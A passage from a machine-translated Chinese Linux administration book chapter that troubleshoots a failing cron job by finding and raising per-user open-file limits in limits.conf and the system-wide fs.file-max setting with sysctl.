-以下是问题的快速列表,应该可以帮助您提供额外的信息: - -* 作业是如何运行的? -* 如果需要,我们可以手动运行该工作吗? -* 这个作业执行什么? - -这三个问题可能看起来很基本,但它们很重要。 让我们先来看看应用团队提供的答案: - -* How is the job run? - - *作业以 cron 作业的形式执行。* - -* Can we run the job manually if we need to? - - *是的,可以根据需要经常手动执行作业。* - -* What does this job execute? - - *作业作为流浪用户执行/opt/myapp/bin/processor 命令*。 - -前面的三个问题非常重要,因为它们将为我们节省大量的故障排除时间。 第一个问题关注的是如何执行作业。 由于报告的问题是作业不工作,我们还不知道问题是由于作业没有运行,还是作业正在执行但由于某种原因失败。 - -第一个问题的答案告诉我们作业是由`crond`执行的,它是运行在 Linux 上的**cron 守护进程**。 这很有用,因为我们可以使用该信息来确定作业是否正在执行。 通常,有许多方法用于执行调度作业。 有时,执行计划作业的软件运行在不同的系统上,有时它运行在相同的本地系统上。 - -在这种情况下,作业正在同一台服务器上由`crond`执行。 - -第二个问题也很重要。 就像在上一章中我们必须手动启动应用一样,对于报告的问题,我们可能也需要执行这个故障排除步骤。 根据答案,似乎我们可以根据需要任意多次执行该命令。 - -第三个问题很有用,因为它不仅告诉我们正在执行什么命令,而且还告诉我们要寻找哪个作业。 Cron 作业是一种非常常见的任务调度方法。 对于一个系统来说,调度许多 cron 作业是很常见的。 - -## cron 作业正在运行吗? - -因为我们知道作业正在由`crond`执行,所以我们应该首先检查作业是否正在执行。 为此,我们可以检查相关服务器上的 cron 日志。 例如,考虑以下日志: - -```sh -# ls -la /var/log/cron* --rw-r--r--. 1 root root 30792 Jun 10 18:05 /var/log/cron --rw-r--r--. 1 root root 28261 May 18 03:41 /var/log/cron-20150518 --rw-r--r--. 1 root root 6152 May 24 21:12 /var/log/cron-20150524 --rw-r--r--. 1 root root 42565 Jun 1 15:50 /var/log/cron-20150601 --rw-r--r--. 1 root root 18286 Jun 7 16:22 /var/log/cron-20150607 - -``` - -具体来说,在 Red Hat 的 Linux 系统上,我们可以检查`/var/log/cron`日志文件。 我在前面的句子中指定了“基于 Red Hat”,因为在非基于 Red Hat 的系统上,cron 日志可能位于不同的日志文件中。 例如,基于 debian 的系统默认为`/var/log/syslog`。 - -如果我们不知道哪个日志文件包含 cron 日志,那么有一个简单的技巧可以找到它。 只需运行以下命令行: - -```sh -# grep -ic cron /var/log/* | grep -v :0 -/var/log/cron:400 -/var/log/cron-20150518:379 -/var/log/cron-20150524:86 -/var/log/cron-20150601:590 -/var/log/cron-20150607:248 -/var/log/messages:1 -/var/log/secure:1 - -``` - -前面的命令将使用`grep`来搜索`/var/log`中的所有日志文件以查找字符串`cron`。 该命令还将搜索`Cron`、`CRON`、`cRon`等,因为我们将`–i`(不敏感)标志添加到`grep`命令中。 这告诉`grep`在不区分大小写的模式下搜索。 从本质上说,这意味着将找到单词“cron”的任何匹配,即使该单词是大写或大小写混合的。 我们还在`grep`命令中添加了`–c`(count)标志,这将使它计算找到的实例数: - -```sh -/var/log/cron:400 - -``` - -如果我们查看第一个结果,可以看到`grep`在`/var/log/cron`中找到了 400 个单词“cron”的实例。 - -最后,我们将结果重定向到另一个带有`–v`标志和`:0`的`grep`命令。 这个`grep`将接受第一次执行的结果,并省略(`-v`)包含字符串`:0`的任何行。 这对于将结果限制为只包含`cron`字符串的文件非常有用。 - -从前面的结果中,我们可以看到文件`/var/log/cron`中包含单词“cron”的最多实例。 这个事实本身就很好地说明了`/var/log/cron`是`crond`守护进程的日志文件。 - -现在我们知道了哪个日志文件包含我们要查找的日志消息,我们可以查看该日志文件的内容。 由于这个日志文件非常大,我们将使用`less`命令来读取这个文件: - -```sh -# less /var/log/cron - -``` - -由于这个日志中有相当多的信息,我们将只关注有助于解释这个问题的日志条目。 下面的段是一组有趣的日志消息,它们可以回答我们的作业是否在运行: - -```sh -Jun 10 18:01:01 localhost CROND[2033]: (root) CMD (run-parts /etc/cron.hourly) -Jun 10 18:01:01 localhost run-parts(/etc/cron.hourly)[2033]: starting 0anacron -Jun 10 18:01:01 localhost run-parts(/etc/cron.hourly)[2042]: finished 0anacron -Jun 10 18:01:01 localhost run-parts(/etc/cron.hourly)[2033]: starting 0yum-hourly.cron -Jun 10 18:01:01 localhost run-parts(/etc/cron.hourly)[2048]: finished 0yum-hourly.cron -Jun 10 18:05:01 localhost CROND[2053]: (vagrant) CMD (/opt/myapp/bin/processor --debug --config /opt/myapp/conf/config.yml > /dev/null) -Jun 10 18:10:01 localhost CROND[2086]: (root) CMD (/usr/lib64/sa/sa1 1 1) -Jun 10 18:10:01 localhost CROND[2087]: (vagrant) CMD (/opt/myapp/bin/processor --debug --config /opt/myapp/conf/config.yml > /dev/null) -Jun 10 18:15:01 localhost CROND[2137]: (vagrant) CMD (/opt/myapp/bin/processor --debug --config /opt/myapp/conf/config.yml > /dev/null) -Jun 10 18:20:01 localhost CROND[2147]: (root) CMD (/usr/lib64/sa/sa1 1 1) - -``` - -前面的日志消息显示了相当多的行。 让我们分解这些日志,以便更好地理解正在执行的内容。 考虑以下几行: - -```sh -Jun 10 18:01:01 localhost CROND[2033]: (root) CMD (run-parts /etc/cron.hourly) -Jun 10 18:01:01 localhost run-parts(/etc/cron.hourly)[2033]: starting 0anacron -Jun 10 18:01:01 localhost run-parts(/etc/cron.hourly)[2042]: finished 0anacron -Jun 10 18:01:01 localhost run-parts(/etc/cron.hourly)[2033]: starting 0yum-hourly.cron -Jun 10 18:01:01 localhost run-parts(/etc/cron.hourly)[2048]: finished 0yum-hourly.cron - -``` - -开头几行似乎不是我们正在寻找的工作,而是`cron.hourly`工作。 - -在 Linux 系统上,有多种指定 cron 作业的方法。 在 RHEL 系统中,`/etc/`中有几个目录以`cron`开头: - -```sh -# ls -laF /etc/ | grep cron --rw-------. 1 root root 541 Jun 9 2014 anacrontab -drwxr-xr-x. 2 root root 34 Jan 23 15:43 cron.d/ -drwxr-xr-x. 2 root root 62 Jul 22 2014 cron.daily/ --rw-------. 1 root root 0 Jun 9 2014 cron.deny -drwxr-xr-x. 2 root root 44 Jul 22 2014 cron.hourly/ -drwxr-xr-x. 2 root root 6 Jun 9 2014 cron.monthly/ --rw-r--r--. 1 root root 451 Jun 9 2014 crontab -drwxr-xr-x. 2 root root 6 Jun 9 2014 cron.weekly/ - -``` - -`cron.daily`、`cron.hourly`、`cron.monthly`和`cron.weekly`目录都是可以包含脚本的目录。 这些脚本将按照目录名中指定的时间运行。 - -例如,让我们看看`/etc/cron.hourly/0yum-hourly.cron`: - -```sh -# cat /etc/cron.hourly/0yum-hourly.cron -#!/bin/bash - -# Only run if this flag is set. The flag is created by the yum-cron init -# script when the service is started -- this allows one to use chkconfig and -# the standard "service stop|start" commands to enable or disable yum-cron. -if [[ ! -f /var/lock/subsys/yum-cron ]]; then - exit 0 -fi - -# Action! -exec /usr/sbin/yum-cron /etc/yum/yum-cron-hourly.conf - -``` - -前面的文件是一个简单的`bash`脚本,`crond`守护进程将每小时执行一次,因为它位于`cron.hourly`目录中。 通常,包含在这些目录中的脚本是由系统服务放置在那里的。 但是,这些目录也对系统管理员开放,系统管理员可以放置自己的脚本。 - -## 用户 crontabs - -如果我们继续向下查看日志文件,我们可以看到与我们的自定义作业相关的条目: - -```sh -Jun 10 18:10:01 localhost CROND[2087]: (vagrant) CMD (/opt/myapp/bin/processor --debug --config /opt/myapp/conf/config.yml > /dev/null) - -``` - -这一行显示了应用支持团队引用的`processor`命令。 这一行必须是应用支持团队遇到问题的工作。 日志记录告诉我们相当多有用的信息。 首先,它为我们提供了传递给这个作业的命令行选项: - -```sh -/opt/myapp/bin/processor --debug --config /opt/myapp/conf/config.yml > /dev/null - -``` - -它还告诉我们作业以`vagrant`的形式执行。 这个日志条目告诉我们的最重要的事情是作业正在执行。 - -因为我们知道作业正在执行,所以我们应该验证作业是否成功。 为了做到这一点,我们将采取一种简单的方法,手动执行工作: - -```sh -$ /opt/myapp/bin/processor --debug --config /opt/myapp/conf/config.yml -Initializing with configuration file /opt/myapp/conf/config.yml -- - - - - - - - - - - - - - - - - - - - - - - - - - -Starting message processing job -Traceback (most recent call last): - File "app.py", line 28, in init app (app.c:1488) -IOError: [Errno 24] Too many open files: '/opt/myapp/queue/1433955823.29_0.txt' - -``` - -我们应该省略 cron 任务末尾的`> /dev/null`,因为这会将输出重定向到`/dev/null`。 这是丢弃 cron 作业输出的一种常见方法。 对于这个手动执行,我们可以利用输出来帮助解决问题。 - -一旦执行,任务似乎失败了。 它不仅失败了,而且在失败的同时还产生了一条错误消息: - -```sh -IOError: [Errno 24] Too many open files: '/opt/myapp/queue/1433955823.29_0.txt' - -``` - -这个错误很有趣,因为它似乎表明应用打开了太多的文件。 *这有什么关系?* - -# 理解用户限制 - -在 Linux 系统上,每个进程都有限制。 设置这些限制是为了防止进程占用过多的系统资源。 - -虽然这些限制是对每个用户强制执行的,但是,可以为每个用户设置不同的限制。 要查看默认情况下对`vagrant`用户设置了哪些限制,可以使用`ulimit`命令: - -```sh -$ ulimit -a -core file size (blocks, -c) 0 -data seg size (kbytes, -d) unlimited -scheduling priority (-e) 0 -file size (blocks, -f) unlimited -pending signals (-i) 3825 -max locked memory (kbytes, -l) 64 -max memory size (kbytes, -m) unlimited -open files (-n) 1024 -pipe size (512 bytes, -p) 8 -POSIX message queues (bytes, -q) 819200 -real-time priority (-r) 0 -stack size (kbytes, -s) 8192 -cpu time (seconds, -t) unlimited -max user processes (-u) 3825 -virtual memory (kbytes, -v) unlimited -file locks (-x) unlimited - -``` - -当我们执行`ulimit`命令时,我们是作为流浪用户执行的。 这一点很重要,因为当我们作为任何其他用户(包括 root)运行`ulimit`命令时,输出将是该用户的限制。 - -如果我们看一下`ulimit`命令的输出,我们可以看到可以设置很多限制。 - -## 文件大小限制 - -让我们来看看和细分几个关键限制: - -```sh -file size (blocks, -f) unlimited - -``` - -第一个有趣的项目是`file size`限制。 这个限制将限制用户可以创建的文件的大小。 流浪用户的当前设置是`unlimited`,但是如果我们将该值设置为更小的数字,会发生什么情况? - -我们可以通过执行`ulimit –f`和限制文件的块数来实现。 例如,考虑以下命令行: - -```sh -$ ulimit -f 10 - -``` - -在将值设置为`10`后,我们可以再次运行`ulimit –f` 来验证它是否生效,但这一次没有设置值: - -```sh -$ ulimit -f -10 - -``` - -现在我们的限制设置为 10 个块,让我们尝试使用`dd`命令创建一个 500 MB 的文件: - -```sh -$ dd if=/dev/zero of=/var/tmp/bigfile bs=1M count=500 -File size limit exceeded - -``` - -Linux 上的用户限制的一个好处是,所提供的错误通常是自明的。 我们可以从前面的输出中看到,`dd`命令不仅无法创建文件,而且还收到了一个错误,说明文件的大小限制已经超出。 - -## 最大用户进程限制 - -另一个有趣的极限是`max processes`极限: - -```sh -max user processes (-u) 3825 - -``` - -此限制可防止用户同时拥有*太多的*进程。 这是一个非常有用和有趣的限制,因为它可以很容易地防止流氓应用接管系统。 - -它也可能是你经常遇到的限制。 对于启动许多子进程或线程的应用尤其如此。 为了了解这种限制是如何工作的,我们可以将设置更改为`10`: - -```sh -$ ulimit -u 10 -$ ulimit -u -10 - -``` - -与文件大小限制一样,我们可以使用`ulimit`命令修改进程限制。 然而,这一次我们使用了`-u`标志。 使用`ulimit`命令,每个用户限制都有自己的唯一标志。 我们可以在`ulimit –a`的输出中看到这些标志,当然,每个标志都在`ulimit`的手册页中引用。 - -现在我们已经将进程限制为`10`,我们可以通过运行一个命令来执行这个限制: - -```sh -$ man ulimit -man: fork failed: Resource temporarily unavailable - -``` - -通过简单地通过 SSH 登录到流浪用户,我们已经在利用多个进程。 很容易遇到`10`进程的限制,因为我们运行的任何新命令都将使我们的登录超过限制。 - -从前面的示例中,我们可以看到,当`man`命令被执行时,无法启动子进程,因此返回了一个错误`Resource temporarily unavailable`。 - -## 打开的文件限制 - -我想要探索的最后一个有趣的用户限制是`open files`限制: - -```sh -open files (-n) 1024 - -``` - -`open files`限制将限制一个进程打开的文件数量不能超过定义的数量。 这个限制可以用来防止一个进程一次打开太多的文件。 当防止应用占用过多的系统资源时,这是非常有用的。 - -像其他极限一样,让我们看看当我们把这个极限简化到一个非常不合理的数时会发生什么: - -```sh -$ ulimit -n 2 -$ ls --bash: start_pipeline: pgrp pipe: Too many open files -ls: error while loading shared libraries: libselinux.so.1: cannot open shared object file: Error 24 - -``` - -与其他示例一样,在本例中我们收到了一个错误`Too many open files`。 然而,这个错误看起来很熟悉。 如果我们回顾从预定作业接收到的错误,我们将看到原因。 - -```sh -IOError: [Errno 24] Too many open files: '/opt/myapp/queue/1433955823.29_0.txt' - -``` - -在将最大打开文件数设置为`2`后,`ls`命令产生了一个错误; 该错误与应用在早些时候执行时收到的错误消息完全相同。 - -这是否意味着我们的应用试图打开比系统配置允许的更多的文件? 这种可能性很大。 - -# 更改用户限制 - -因为我们怀疑`open files`限制阻止了应用的执行,所以我们可以将其限制设置为一个更高的值。 然而,这并不像执行`ulimit –n`那么简单; 下面的输出是我们在执行它时得到的结果: - -```sh -$ ulimit -n -1024 -$ ulimit -n 5000 --bash: ulimit: open files: cannot modify limit: Operation not permitted -$ ulimit -n 4096 -$ ulimit -n -4096 - -``` - -默认情况下,在我们的示例系统中,游荡用户可以将`open files`限制提高到的最高值是`4096`。 从前面的错误中我们可以看出,任何更高的都被拒绝; 但就像 Linux 的大多数事情一样,我们可以改变这一点。 - -## limits.conf 文件 - -我们一直在中使用和修改的用户限制是 Linux PAM 系统的一部分。 PAM 或可插入身份验证模块是一个提供模块化身份验证系统的系统。 - -例如,如果我们的系统要使用 LDAP 进行身份验证,那么将使用`pam_ldap.so`库来提供此功能。 但是,由于我们的系统使用本地用户进行身份验证,所以`pam_localuser.so` 库处理用户身份验证。 - -我们可以通过读取`/etc/pam.d/system-auth`文件来验证: - -```sh -$ cat /etc/pam.d/system-auth -#%PAM-1.0 -# This file is auto-generated. -# User changes will be destroyed the next time authconfig is run. -auth required pam_env.so -auth sufficient pam_unix.so nullok try_first_pass -auth requisite pam_succeed_if.so uid >= 1000 quiet_success -auth required pam_deny.so - -account required pam_unix.so -account sufficient pam_localuser.so -account sufficient pam_succeed_if.so uid < 1000 quiet -account required pam_permit.so - -password requisite pam_pwquality.so try_first_pass local_users_only retry=3 authtok_type= -password sufficient pam_unix.so sha512 shadow nullok try_first_pass use_authtok -password required pam_deny.so - -session optional pam_keyinit.so revoke -session required pam_limits.so --session optional pam_systemd.so -session [success=1 default=ignore] pam_succeed_if.so service in crond quiet use_uid -session required pam_unix.so - -``` - -如果我们看前面的例子,我们可以看到`pam_localuser.so`和`account`作为第一列: - -```sh -account sufficient pam_localuser.so - -``` - -这个意味着`pam_localuser.so`模块是一个允许使用帐户的`sufficient`模块,这本质上意味着如果用户有正确的`/etc/passwd` 和`/etc/shadow`条目,就可以登录。 - -```sh -session required pam_limits.so - -``` - -如果我们看前面一行,我们可以看到在哪里执行了用户限制。 这一行实际上告诉系统,`pam_limits.so`模块对于所有用户会话都是必需的。 这有效地确保了在每个用户会话上强制执行`pam_limits.so`模块标识的用户限制。 - -这个 PAM 模块的配置位于`/etc/security/limits.conf` 和`/etc/security/limits.d/`: - -```sh -$ cat /etc/security/limits.conf -#This file sets the resource limits for the users logged in via PAM. -# - core - limits the core file size (KB) -# - data - max data size (KB) -# - fsize - maximum filesize (KB) -# - memlock - max locked-in-memory address space (KB) -# - nofile - max number of open files -# - rss - max resident set size (KB) -# - stack - max stack size (KB) -# - cpu - max CPU time (MIN) -# - nproc - max number of processes -# - as - address space limit (KB) -# - maxlogins - max number of logins for this user -# - maxsyslogins - max number of logins on the system -# - priority - the priority to run user process with -# - locks - max number of file locks the user can hold -# - sigpending - max number of pending signals -# - msgqueue - max memory used by POSIX message queues (bytes) -# - nice - max nice priority allowed to raise to values: [-20, 19] -# - rtprio - max realtime priority -# -# -# - -#* soft core 0 -#* hard rss 10000 -#@student hard nproc 20 -#@faculty soft nproc 20 -#@faculty hard nproc 50 -#ftp hard nproc 0 -#@student - maxlogins 4 - -``` - -当我们阅读`limits.conf`文件时,我们可以看到很多关于用户限制的有用信息。 - -在这个文件中,列出了可用的限制,并对该限制强制执行的内容进行了描述。 例如,在前面的命令行中,我们可以看到以下关于`open files`限制的数量: - -```sh -# - nofile - max number of open files - -``` - -从这一行中我们可以看到,如果我们想改变对用户可用的打开文件的数量,我们将需要使用`nofile`类型。 在列出每个限制所做的上面,`limits.conf`文件还包含了为用户和组设置自定义限制的示例: - -```sh -#ftp hard nproc 0 - -``` - -给出这个例子,我们可以看到我们需要使用什么格式来设置限制; 但是我们也应该设置什么限制呢? 如果我们回头看看作业中的错误,可以看到错误列出了`/opt/myapp/queue`目录下的一个文件: - -```sh -IOError: [Errno 24] Too many open files: '/opt/myapp/queue/1433955823.29_0.txt' - -``` - -可以放心地说,应用正试图打开这个目录中的文件。 因此,为了确定这个进程需要打开多少个文件,让我们通过下面的命令行来找出这个目录中有多少个文件: - -```sh -$ ls -la /opt/myapp/queue/ | wc -l -492304 - -``` - -前面的命令使用`ls –la`列出`queue/`目录中的所有文件和目录,并将输出重定向到`wc –l`。 `wc`命令将计算所提供输出的行数(`-l`),这实际上意味着在`queue/`目录中有 492,304 个文件和/或目录。 - -由于数量很大,我们应该将`open files`的数量限制设置为`500000`,这足以处理`queue/`目录,以防万一还需要一点额外的量。 我们可以通过在`limits.conf`文件中添加以下行来实现: - -```sh -# vi /etc/security/limits.conf - -``` - -在使用`vi`或其他文本编辑器添加行后,我们可以使用`tail`命令验证它是否存在: - -```sh -$ tail /etc/security/limits.conf -#@student hard nproc 20 -#@faculty soft nproc 20 -#@faculty hard nproc 50 -#ftp hard nproc 0 -#@student - maxlogins 4 - -vagrant soft nofile 100000 -vagrant hard nofile 500000 - -# End of file - -``` - -更改这些设置并不意味着我们的登录 shell 会立即限制`500000`。 我们的登录会话仍然有`4096`设置的限制。 - -```sh -$ ulimit -n -4096 - -``` - -我们也仍然不能增加它超过这个价值。 - -```sh -$ ulimit -n 9000 --bash: ulimit: open files: cannot modify limit: Operation not permitted - -``` - -为了使我们的更改生效,我们必须再次登录到我们的用户。 - -正如前面所讨论的,这些限制是由 PAM 设置的,它在 shell 会话登录期间应用。 由于限制是在登录期间设置的,所以我们仍然受到上次登录时获得的前一个值的限制。 - -为了获得新的限制,我们必须注销并重新登录(或生成一个新的登录会话)。 对于我们的示例,我们将注销 shell 并重新登录。 - -```sh -$ ulimit -n -100000 -$ ulimit -n 501000 --bash: ulimit: open files: cannot modify limit: Operation not permitted -$ ulimit -n 500000 -$ ulimit -n -500000 - -``` - -如果我们看一下前面的命令行,我们可以看到一些非常有趣的东西。 - -当我们这次登录时,我们的文件数量限制被设置为`100000`,正好与我们在`limits.conf` 文件中设置的`soft`限制相同。 这是因为`soft`限制是为每个会话默认设置的限制。 - -`hard`限制是该用户可以设置的`soft`限制之上的最高值。 我们可以在前面的示例中看到这一点,因为我们能够将`nofile`限制设置为`500000`而不是`501000`。 - -### 未来打样作业 - -我们将`soft`限制设置为`100000`的原因是我们正在为未来类似的场景做计划。 通过将`soft`限制设置为`100000`,运行此调度作业的 cron 作业将被限制为 100,000 个打开的文件。 但是,由于`hard`限制被设置为`500000`,因此用户可以在登录会话上手动运行设置更高限制的作业。 - -只要`queue`目录中的文件数量不超过 500,000 个,任何人都不应该再需要编辑`/etc/security/limits.conf`文件。 - -## 再次运行作业 - -既然我们的限制已经增加,我们可以尝试再次运行作业。 - -```sh -$ /opt/myapp/bin/processor --debug --config /opt/myapp/conf/config.yml -Initializing with configuration file /opt/myapp/conf/config.yml -- - - - - - - - - - - - - - - - - - - - - - - - - - -Starting message processing job -Traceback (most recent call last): - File "app.py", line 28, in init app (app.c:1488) -IOError: [Errno 23] Too many open files in system: '/opt/myapp/queue/1433955989.86_5.txt' - -``` - -我们再次收到一个错误。 然而,这一次的错误只是有一点不同。 - -在之前的运行中,我们收到了以下错误。 - -```sh -IOError: [Errno 24] Too many open files: '/opt/myapp/queue/1433955823.29_0.txt' - -``` - -然而,这次我们收到了这个错误。 - -```sh -IOError: [Errno 23] Too many open files in system: '/opt/myapp/queue/1433955989.86_5.txt' - -``` - -差异非常细微,但是在第二次运行中,我们的错误显示**系统**中打开的文件太多,而第一次运行中没有包含`in system`。 这是因为我们遇到了不同类型的限制,不是**用户**限制,而是**系统**限制。 - -# 内核可调项 - -Linux 内核本身也可以在系统上设置限制。 这些限制是根据内核参数定义的。 其中一些参数是静态的,不能在运行时更改; 而另一些人。 如果可以在运行时更改内核参数,则称为**可调参数**。 - -我们可以使用`sysctl`命令查看静态和可调内核参数及其当前值: - -```sh -# sysctl -a | head -abi.vsyscall32 = 1 -crypto.fips_enabled = 0 -debug.exception-trace = 1 -debug.kprobes-optimization = 1 -dev.hpet.max-user-freq = 64 -dev.mac_hid.mouse_button2_keycode = 97 -dev.mac_hid.mouse_button3_keycode = 100 -dev.mac_hid.mouse_button_emulation = 0 -dev.parport.default.spintime = 500 -dev.parport.default.timeslice = 200 - -``` - -由于有许多可用参数,我使用`head`命令将输出限制为前 10 个。 我们之前收到的错误提到了系统上的一个限制,这表明我们可能达到了内核本身施加的限制。 - -唯一的问题是我们怎么知道是哪一个? 最快的答案当然是搜索谷歌。 由于有如此多的内核参数(在我们正在处理的系统上有 800 多个),很难简单地读取`sysctl –a`的输出并找到正确的一个。 - -更现实的方法是简单地搜索我们想要修改的参数类型。 我们的场景的一个搜索示例是`Linux parameter max open files`。 如果我们执行这个搜索,我们很可能会找到参数和如何修改它。 然而,如果谷歌不是一个选择,还有另一种方法。 - -通常,内核参数有一个名称来描述该参数控制的内容。 - -例如,如果我们要寻找禁用 IPv6 的内核参数,我们将首先搜索`net`字符串,如 network: - -```sh -# sysctl -a | grep -c net -556 - -``` - -然而,这仍然返回大量的结果。 在这些结果中,我们可以看到字符串`ipv6`。 - -```sh -# sysctl -a | grep -c ipv6 -233 - -``` - -尽管如此,还是有很多结果; 但是,如果我们添加字符串`disable`的搜索,则会得到以下输出: - -```sh -# sysctl -a | grep ipv6 | grep disable -net.ipv6.conf.all.disable_ipv6 = 0 -net.ipv6.conf.default.disable_ipv6 = 0 -net.ipv6.conf.enp0s3.disable_ipv6 = 0 -net.ipv6.conf.enp0s8.disable_ipv6 = 0 -net.ipv6.conf.lo.disable_ipv6 = 0 - -``` - -我们终于可以缩小可能的参数范围了。 然而,我们并不完全了解这些参数的作用。 至少现在还没有。 - -如果我们通过`/usr/share/doc`进行快速搜索,我们可能会找到一些文档来解释这些设置的作用。 我们可以通过使用`grep`在该目录中执行`-r`的递归搜索来快速完成这一任务。 为了保持输出简单,我们可以添加`-l`(列表文件),这会导致`grep`只列出它在以下文件中找到所需字符串的文件名: - -```sh -# grep -rl net.ipv6 /usr/share/doc/ -/usr/share/doc/grub2-tools-2.02/grub.html - -``` - -在基于 Red Hat 的 Linux 系统上,`/usr/share/doc`目录用于系统手册页之外的其他文档。 如果我们被限制只能使用系统本身上的文档,那么`/usr/share/doc`目录就是首先要检查的地方之一。 - -## 查找打开文件的内核参数 - -因为我们喜欢以困难的方式执行任务,所以我们将尝试识别可能限制我们的内核参数,而不需要在谷歌上搜索它。 执行此操作的第一步是在`sysctl`输出中搜索字符串`file`。 - -我们搜索`file`的原因是我们正在达到文件数量的限制。 虽然这可能不能提供我们试图识别的确切参数,但搜索至少会让我们开始: - -```sh -# sysctl -a | grep file -fs.file-max = 48582 -fs.file-nr = 1088 0 48582 -fs.xfs.filestream_centisecs = 3000 - -``` - -搜索`file`实际上可能是一个很好的选择。 仅仅根据参数的名称,我们可能感兴趣的两个是`fs.file-max`和`fs.file-nr`。 在这一点上,我们不知道哪个控制打开的文件的数量,或者它们中是否有一个控制。 - -要找到更多的信息,我们可以搜索`doc`目录。 - -```sh -# grep -r fs.file- /usr/share/doc/ -/usr/share/doc/postfix-2.10.1/README_FILES/TUNING_README: -fs.file-max=16384 - -``` - -似乎位于 Postfix 服务文档中名为`TUNING_README`、的文档至少引用了我们的一个值。 让我们检查一下这个文件,看看这个文档对这个内核参数说了什么: - -```sh -* Configure the kernel for more open files and sockets. The details are - extremely system dependent and change with the operating system version. Be - sure to verify the following information with your system tuning guide: - - o Linux kernel parameters can be specified in /etc/sysctl.conf or changed - with sysctl commands: - - fs.file-max=16384 - kernel.threads-max=2048 - -``` - -如果我们阅读文件中列出内核参数的地方的内容,可以看到它专门调用参数*来为内核配置更多的打开文件和套接字*。 - -该文档调用了两个内核参数,以允许打开更多的文件和套接字。 第一个称为`fs.file-max`,这也是我们通过`sysctl`搜索所确定的。 第二个被称为`kernel.threads-max`,这是一个相当新的概念。 - -仅仅根据名称,似乎我们想要修改的可调参数是`fs.file-max` 参数。 让我们看看它的当前值如下: - -```sh -# sysctl fs.file-max -fs.file-max = 48582 - -``` - -我们可以通过执行`sysctl`后跟参数名来列出该参数的当前值(如前面的命令行所示)。 这将简单地显示当前定义的值; 这个数字似乎被设置为`48582`,远远低于我们目前的用户限制。 - -### 提示 - -在前面的例子中,我们在后缀文档中找到了这个参数。 虽然这可能是好的,但并不准确。 如果您经常发现自己需要在本地搜索内核参数,那么安装`kernel-doc`包将是一个好主意。 包包含相当多的信息,特别是关于可调参数的信息。 - -## 更改内核可调项 - -因为我们认为`fs.file-max` 参数控制系统可以打开的最大文件数,所以我们应该更改这个值以允许作业运行。 - -与 Linux 上的大多数系统配置项一样,可以选择在重新启动时更改这个值。 前面我们设置了`limits.conf`文件,以允许游移用户能够打开 100,000 个文件作为`soft`的限制,并允许 500,000 个文件作为`hard`的限制。 问题是,我们希望这个用户能够正常操作打开 500,000 个文件吗? 或者这应该是一个一次性的任务来纠正我们目前面临的问题? - -答案很简单:*看情况!* - -如果我们看看我们目前正在处理的情况,所讨论的工作已经有一段时间没有运行了。 因此,队列中积压了大量的消息。 然而,这些都不是正常情况。 - -在前面,当我们将用户限制设置为 100,000 个文件时,我们这样做是因为这对于这个作业来说是比较合适的值。 考虑到这一点,我们还应该将内核参数设置为略高于`100000`的值,但不要过大。 - -对于这个场景和这个环境,我们将执行两个操作。 第一个是配置系统,默认允许*125,000 个打开的文件*。 第二种方法是将当前参数设置为*525,000 个打开文件*,以允许计划的作业成功运行。 - -### 永久更改可调项 - -由于我们希望在默认情况下将`fs.file-max`的值更改为`125000`,因此我们需要编辑`sysctl.conf`文件。 `sysctl.conf`文件是一个系统配置文件,它允许您为可调内核参数指定自定义值。 在每次系统重新引导期间,将读取该文件并应用其中的值。 - -为了将我们的`fs.file-max`值设置为`125000`,我们可以简单地将以下行添加到这个文件: - -```sh -# vi /etc/sysctl.conf -fs.file-max=125000 - -``` - -现在我们已经添加了自定义值,我们需要告诉系统应用它。 - -如前所述,`sysctl.conf`文件是在重新引导时应用的,但是我们也可以在任何时候使用带有`–p`标志的`sysctl`命令将这些设置应用到该文件。 - -```sh -# sysctl -p -fs.file-max = 125000 - -``` - -当给出了`–p`标志时,`sysctl`命令将读取并将值应用到指定的文件,或者如果没有指定文件`/etc/sysctl.conf`。 因为我们没有在`–p`标志之后指定文件,所以`sysctl`命令应用添加到`/etc/sysctl.conf` 的值并打印它修改的值。 - -让我们再次执行`sysctl`来验证是否正确地应用了它。 - -```sh -# sysctl fs.file-max -fs.file-max = 125000 - -``` - -似乎在中,该值被适当地应用了,但是如果将其设置为`525000`呢? - -### 临时更改可调项 - -虽然简单的足以将`/etc/sysctl.conf`更改为更高的值,但是应用它,然后恢复更改。 有一种更简单的方法可以临时更改可调值。 - -当提供了`–w`选项时,`sysctl`命令将允许修改可调值。 要查看实际效果,我们将使用此方法将`fs.file-max`值设置为`525000`。 - -```sh -# sysctl -w fs.file-max=525000 -fs.file-max = 525000 - -``` - -就像应用`sysctl.conf` 文件的值一样,当我们执行`sysctl –w`时,它会打印它所应用的值。 如果我们再次验证它们,我们将看到该值被设置为`525000`files: - -```sh -# sysctl fs.file-max -fs.file-max = 525000 - -``` - -## 最后一次运行作业 - -现在,我们已经为流浪用户设置了的`open files`限制为`500000`,并为整个系统设置了`525000`。 我们可以再次手动执行该任务,这一次应该成功: - -```sh -$ /opt/myapp/bin/processor --debug --config /opt/myapp/conf/config.yml -Initializing with configuration file /opt/myapp/conf/config.yml -- - - - - - - - - - - - - - - - - - - - - - - - - - -Starting message processing job -Added 492304 to queue -Processing 492304 messages -Processed 492304 messages - -``` - -这一次作业执行时没有提供任何错误! 我们可以从作业的输出中看到,`/opt/myapp/queue`中的所有文件也都被处理了。 - -# 回首往事 - -现在我们已经解决了问题,让我们花点时间看看我们是如何解决问题的。 - -## 打开的文件太多 - -为了解决我们的问题,我们手动执行了一个调度的 cron 作业。 如果我们回到前面的章节,这是一个主要的例子,重复一个问题,并看到它自己。 - -在这种情况下,工作没有执行它应该执行的任务。 为了确定原因,我们手动运行它。 - -在手动执行过程中,我们能够识别以下错误: - -```sh -IOError: [Errno 24] Too many open files: '/opt/myapp/queue/1433955823.29_0.txt' - -``` - -此错误非常常见,是由于作业运行到阻止单个用户打开过多文件的用户限制而导致的。 为了解决这个问题,我们在`/etc/security/limits.conf`文件中添加了自定义设置。 - -这些更改将我们的用户的`open files`的`soft`限制默认设置为`100000`。 我们还允许用户通过`hard`设置将`open files`限制增加到`500000`: - -```sh -IOError: [Errno 23] Too many open files in system: '/opt/myapp/queue/1433955989.86_5.txt' - -``` - -在修改了这些限制之后,我们再次执行作业,并遇到了一个类似但不同的错误。 - -这一次,将`open files`限制强加于系统本身,在本例中,将系统范围内的打开文件限制为 48,000 个。 - -为了解决这个问题,我们在`/etc/sysctl.conf`文件中设置一个永久的`125000`设置,并将其值临时更改为`525000`。 - -从那时起,我们就可以手动执行任务了。 但是,在这个实例之外,由于我们更改了默认限制,我们还为这个作业提供了更多的资源来正常执行。 只要不存在超过 100,000 